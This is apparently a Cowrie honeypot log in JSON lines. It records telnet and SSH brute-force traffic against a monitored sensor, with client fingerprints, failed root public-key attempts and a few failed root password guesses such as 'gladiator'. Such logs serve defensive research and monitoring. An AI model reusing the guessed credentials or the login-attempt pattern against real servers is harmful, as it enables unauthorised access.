{"eventid":"cowrie.session.closed","duration":120.00453066825867,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:18.128898Z","src_ip":"152.42.224.71","session":"6fece2b4fb0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.972710371017456,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:21.812369Z","src_ip":"152.42.224.71","session":"9c06971c8fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52252,"dst_ip":"10.17.0.5","dst_port":23,"session":"270c07e603b5","protocol":"telnet","message":"New connection: 152.42.224.71:52252 (10.17.0.5:23) [session: 270c07e603b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:21.844871Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f132dc70d77b","protocol":"telnet","message":"New connection: 152.42.224.71:52258 (10.17.0.5:23) [session: f132dc70d77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:24.020908Z"}
{"eventid":"cowrie.session.closed","duration":57.16726994514465,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:25.826978Z","src_ip":"152.42.224.71","session":"9669cfad6a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.8001356124878,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:29.854554Z","src_ip":"152.42.224.71","session":"1b17731ae1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.24446654319763,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:33.511332Z","src_ip":"152.42.224.71","session":"e34bf8b03c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df1f634d8a3","protocol":"ssh","message":"New connection: 141.95.34.214:37640 (10.17.0.5:22) [session: 1df1f634d8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:35.447402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:35.451909Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:35.547313Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:25:f4:ff:d8:43:bf:eb:8f:f7:dc:79:ad:de:96:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36vbdeAFyTSK8uER5Cq5sESfxnqgI2nHWT+SqK78chXlAyMg5aN8GEDCEBtKgCFqauwANGUtJxHZUkSWgzgE42Pe+HGuiIvGtf52vdjQT+CYJUE2pjDM1CVITrpgL9zaRbzRKMTV1KA7NDKfOO6Vhco4Ky+X4j3ut3/4eEzYlWiBxyPj4OvGQML+xt/Utf+iDlf4Ats5RXP6txaoIF6p5Dg5VYtrtG4sAFOJ8nnETW7vh3RJHoS83RKqMFIQUj/gQDnUxEH2VgtFRlQn0+PEsUDHNpRpI8xdjwWgLxyAgUweWstCW+neBPvhKK9KZ82pkLnIw7fr2psLUYAR7mRnD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:25:f4:ff:d8:43:bf:eb:8f:f7:dc:79:ad:de:96:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.005753Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:25:f4:ff:d8:43:bf:eb:8f:f7:dc:79:ad:de:96:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36vbdeAFyTSK8uER5Cq5sESfxnqgI2nHWT+SqK78chXlAyMg5aN8GEDCEBtKgCFqauwANGUtJxHZUkSWgzgE42Pe+HGuiIvGtf52vdjQT+CYJUE2pjDM1CVITrpgL9zaRbzRKMTV1KA7NDKfOO6Vhco4Ky+X4j3ut3/4eEzYlWiBxyPj4OvGQML+xt/Utf+iDlf4Ats5RXP6txaoIF6p5Dg5VYtrtG4sAFOJ8nnETW7vh3RJHoS83RKqMFIQUj/gQDnUxEH2VgtFRlQn0+PEsUDHNpRpI8xdjwWgLxyAgUweWstCW+neBPvhKK9KZ82pkLnIw7fr2psLUYAR7mRnD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.008884Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:45:86:5f:74:3f:6d:5c:0d:36:6e:49:50:27:30:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmExNOv7BQSev9AXEPnQMCcOTAGeVJCKlemJid4130qihtMMDlxCeEmeiNeTlanTB96/6pHc3eHLTFuZedGd5s3c/zTG/6Pz1LTI233pWaF5Wc6RQgAaocDjU1SuF2ZPDFVKgINK+k0ufMZ1l2ywwF9ia3NgPI9Jpmhd0je/n78guIX4eCjpv7KJedWJ6w4sJbubxVvW+05dwr6KW9ClyxmF4/5koDZNTWQ6iolj2daQuUp0f5hJ+f2RTHn+m4DISW23ZFN/jQpj/JzeQCdFL+m35oRQ3DAUVCtK2HHhKaBTItOpQK5Ccq4SGm7B+KZnZnwPYyeQU5bMkl+MwHQnQf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:45:86:5f:74:3f:6d:5c:0d:36:6e:49:50:27:30:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.104074Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:45:86:5f:74:3f:6d:5c:0d:36:6e:49:50:27:30:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmExNOv7BQSev9AXEPnQMCcOTAGeVJCKlemJid4130qihtMMDlxCeEmeiNeTlanTB96/6pHc3eHLTFuZedGd5s3c/zTG/6Pz1LTI233pWaF5Wc6RQgAaocDjU1SuF2ZPDFVKgINK+k0ufMZ1l2ywwF9ia3NgPI9Jpmhd0je/n78guIX4eCjpv7KJedWJ6w4sJbubxVvW+05dwr6KW9ClyxmF4/5koDZNTWQ6iolj2daQuUp0f5hJ+f2RTHn+m4DISW23ZFN/jQpj/JzeQCdFL+m35oRQ3DAUVCtK2HHhKaBTItOpQK5Ccq4SGm7B+KZnZnwPYyeQU5bMkl+MwHQnQf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.106540Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:93:32:e1:93:d9:79:bc:a3:6c:62:cd:21:d3:1a:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2yMmGZbAyR7PDgLSlrwx2y7qs2iSDriKwYBSkamQTUeuR7ldRw26dyiNEcaKMrFXz+ou2aPjcEM74/He1ZpwG4EH4WUv8FuvEF16pKKSJ053v9lkiUsXU40OunnsOzInNTkQfSdEKaSUJiFJXjGoFqo6hlYgH10iyuo0vGAotqgJlgE8b59pm/FFGOnj6E6uBdHLZDyFEsNF6KCtAaRcWWg5tNZ5nN37zPtqK7QQ45YCFP7eW1gYlemFMeLTVb6tfpzXTAssiw3vUJXu+srBqz+zkY7kyo8BAgAR7d3bzd0OjlvEeboG6Kz9r/mfFAH6Fi0ZHxVPdk8OvwKwwkaP5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:93:32:e1:93:d9:79:bc:a3:6c:62:cd:21:d3:1a:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.202601Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:93:32:e1:93:d9:79:bc:a3:6c:62:cd:21:d3:1a:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2yMmGZbAyR7PDgLSlrwx2y7qs2iSDriKwYBSkamQTUeuR7ldRw26dyiNEcaKMrFXz+ou2aPjcEM74/He1ZpwG4EH4WUv8FuvEF16pKKSJ053v9lkiUsXU40OunnsOzInNTkQfSdEKaSUJiFJXjGoFqo6hlYgH10iyuo0vGAotqgJlgE8b59pm/FFGOnj6E6uBdHLZDyFEsNF6KCtAaRcWWg5tNZ5nN37zPtqK7QQ45YCFP7eW1gYlemFMeLTVb6tfpzXTAssiw3vUJXu+srBqz+zkY7kyo8BAgAR7d3bzd0OjlvEeboG6Kz9r/mfFAH6Fi0ZHxVPdk8OvwKwwkaP5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.205684Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:62:6d:87:8e:82:37:cd:90:dd:82:f5:6a:1e:62:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKA7cIQBN5jCja2JR90ZsLZj54FeokpnHKeKmKwfIqKJOezTJdd4xhgXdDhFMLhh7p4zTPxLACQP0TqvJrDFTsp3lN5Z7pFbIaGC8y2PXcerqDnsWjL2OT0VcwDm0/MVR26PSztz3XNSg6N03kWC0+xZg1M/Itq/Yeks64nV2n6iOkRsPfXGMqSKn+WXx5Zbst6944j8KwezE3QvuC3p4D5pQAKMdG3iQgczsNaczHBKsb/yPWcKjPTZ4eiV2aIya6WQ7lWnzPWNIOCVay2/fzoPdZhAUU5Src+8jOdSNO5m+3Kz6KrDpF01/TjEqJjryXH4h3aXHTefz35TH6fNxLDoXWOLXDzmoSax/1fJuiTp3jW+TC3rJ92pduHPbGfiIbin2oBRQ/5MjOAvi8+yf2ktel1bzLX3YWFyg2b4rAUyqE03StAS1aHDWrKULQMKRH46Y2zo7XVQOyc+g60zL4XjSUPWd+9YyVYbsC+D17TuPTAf+IwksjDNErPNCmTVPB+OgJIXM/7kqMVkywxr+SBSWqYXO22WKuOu01N3uhvG+ISaRddHlsKnxN/KrzZH63Amc6AM68Jhx7MmG8VRKqu+G3i4F5RmBgPe/4XuWG3haY8kd2sSNy1ora+e5UckMaXMe1DCDQm8ed1e4+G6t8qqrDkBTFq6CvmbSH80DK+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:62:6d:87:8e:82:37:cd:90:dd:82:f5:6a:1e:62:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.303206Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:62:6d:87:8e:82:37:cd:90:dd:82:f5:6a:1e:62:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKA7cIQBN5jCja2JR90ZsLZj54FeokpnHKeKmKwfIqKJOezTJdd4xhgXdDhFMLhh7p4zTPxLACQP0TqvJrDFTsp3lN5Z7pFbIaGC8y2PXcerqDnsWjL2OT0VcwDm0/MVR26PSztz3XNSg6N03kWC0+xZg1M/Itq/Yeks64nV2n6iOkRsPfXGMqSKn+WXx5Zbst6944j8KwezE3QvuC3p4D5pQAKMdG3iQgczsNaczHBKsb/yPWcKjPTZ4eiV2aIya6WQ7lWnzPWNIOCVay2/fzoPdZhAUU5Src+8jOdSNO5m+3Kz6KrDpF01/TjEqJjryXH4h3aXHTefz35TH6fNxLDoXWOLXDzmoSax/1fJuiTp3jW+TC3rJ92pduHPbGfiIbin2oBRQ/5MjOAvi8+yf2ktel1bzLX3YWFyg2b4rAUyqE03StAS1aHDWrKULQMKRH46Y2zo7XVQOyc+g60zL4XjSUPWd+9YyVYbsC+D17TuPTAf+IwksjDNErPNCmTVPB+OgJIXM/7kqMVkywxr+SBSWqYXO22WKuOu01N3uhvG+ISaRddHlsKnxN/KrzZH63Amc6AM68Jhx7MmG8VRKqu+G3i4F5RmBgPe/4XuWG3haY8kd2sSNy1ora+e5UckMaXMe1DCDQm8ed1e4+G6t8qqrDkBTFq6CvmbSH80DK+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.306983Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:eb:70:b6:20:31:f3:4d:7a:64:19:26:ce:a4:e3:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN4a7SuHk29nGkgkypMDkJGCJJ3HcLGF5If75+0jTdKFtSj3OTXMWgDm2g8R6j8oDUwNltRZUGTa1oMu30PEfAms5wufA/IJRwi/RfIYsDWpnOubtj2eWquEm6jWdH91uvWrOnSjKN58KKvUzpXbgD/Vua4Q9WZrt7Vmzlx97ZtVW0JZKulVg1GK+CmyqORqK6lEEXTA+vWXRYr4VUaqh6tCi8e8/qkNk32+5l9nuOladvlHEXleChER77OuMdpXHySyan7LHyJYyeebWaqj+iD8oFWD2XFqsFLoW3JoUfNLW0ggUViI55xlHrR1PzkbsLTj/IumhWa5q7wje3VTTlXHOf2Au+EPFKkCOu/Q8GJf6FVygaO2xjjz3BSYR9v/AhDkIN4sHxZyx6ggXptK1K3CGUqttNDSz3hnQqsw53b9L9jbbR0Zo0PcJX6cYUfndpSJGUzfW3u2sfPT8rTeGzcp08aGkxYyXOv6TbJB3V7bVVJu7O8/iK5I1kSg9Wsyfl2wopJJwRh1MEPNIKgTjf8AxUg44PPDp0Z4UG5KfZ7flIL0+MxSYBH3XxlZf681r5YRHcfcdcC1Z5uKLBxpKPUTXmc1fX+m3qg7IIcoPhNwaEoKB0nCr9fTgbJKotTVQ7sYCnrnnNmn1YPvEnraRjI9BuoYC75j90JI9TPz5Uxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:eb:70:b6:20:31:f3:4d:7a:64:19:26:ce:a4:e3:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.402704Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:eb:70:b6:20:31:f3:4d:7a:64:19:26:ce:a4:e3:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN4a7SuHk29nGkgkypMDkJGCJJ3HcLGF5If75+0jTdKFtSj3OTXMWgDm2g8R6j8oDUwNltRZUGTa1oMu30PEfAms5wufA/IJRwi/RfIYsDWpnOubtj2eWquEm6jWdH91uvWrOnSjKN58KKvUzpXbgD/Vua4Q9WZrt7Vmzlx97ZtVW0JZKulVg1GK+CmyqORqK6lEEXTA+vWXRYr4VUaqh6tCi8e8/qkNk32+5l9nuOladvlHEXleChER77OuMdpXHySyan7LHyJYyeebWaqj+iD8oFWD2XFqsFLoW3JoUfNLW0ggUViI55xlHrR1PzkbsLTj/IumhWa5q7wje3VTTlXHOf2Au+EPFKkCOu/Q8GJf6FVygaO2xjjz3BSYR9v/AhDkIN4sHxZyx6ggXptK1K3CGUqttNDSz3hnQqsw53b9L9jbbR0Zo0PcJX6cYUfndpSJGUzfW3u2sfPT8rTeGzcp08aGkxYyXOv6TbJB3V7bVVJu7O8/iK5I1kSg9Wsyfl2wopJJwRh1MEPNIKgTjf8AxUg44PPDp0Z4UG5KfZ7flIL0+MxSYBH3XxlZf681r5YRHcfcdcC1Z5uKLBxpKPUTXmc1fX+m3qg7IIcoPhNwaEoKB0nCr9fTgbJKotTVQ7sYCnrnnNmn1YPvEnraRjI9BuoYC75j90JI9TPz5Uxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.406341Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:36.502486Z","src_ip":"141.95.34.214","session":"1df1f634d8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.09843039512634,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:38.192041Z","src_ip":"152.42.224.71","session":"bd9506e51c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.16108965873718,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:39.463535Z","src_ip":"152.42.224.71","session":"bb350734d907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46416,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bdd1517030b","protocol":"ssh","message":"New connection: 103.27.238.116:46416 (159.203.135.109:22) [session: 3bdd1517030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:40.267145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:40.270770Z","src_ip":"103.27.238.116","session":"3bdd1517030b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:40.529906Z","src_ip":"103.27.238.116","session":"3bdd1517030b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gladiator","message":"login attempt [root/gladiator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:41.310254Z","src_ip":"103.27.238.116","session":"3bdd1517030b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.85851812362671,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:41.832011Z","src_ip":"152.42.224.71","session":"98cce569af1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:42.573000Z","src_ip":"103.27.238.116","session":"3bdd1517030b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41304,"dst_ip":"159.203.135.109","dst_port":22,"session":"538112f95c01","protocol":"ssh","message":"New connection: 103.27.238.120:41304 (159.203.135.109:22) [session: 538112f95c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:48.662820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:48.667655Z","src_ip":"103.27.238.120","session":"538112f95c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:48.939940Z","src_ip":"103.27.238.120","session":"538112f95c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert54321","message":"login attempt [root/qwert54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:49.754660Z","src_ip":"103.27.238.120","session":"538112f95c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e666f194ea3e","protocol":"telnet","message":"New connection: 152.42.224.71:45302 (10.17.0.5:23) [session: e666f194ea3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:49.873423Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45316,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27e90de587d","protocol":"telnet","message":"New connection: 152.42.224.71:45316 (10.17.0.5:23) [session: a27e90de587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:50.889351Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:51.032979Z","src_ip":"103.27.238.120","session":"538112f95c01","protocol":"ssh"}
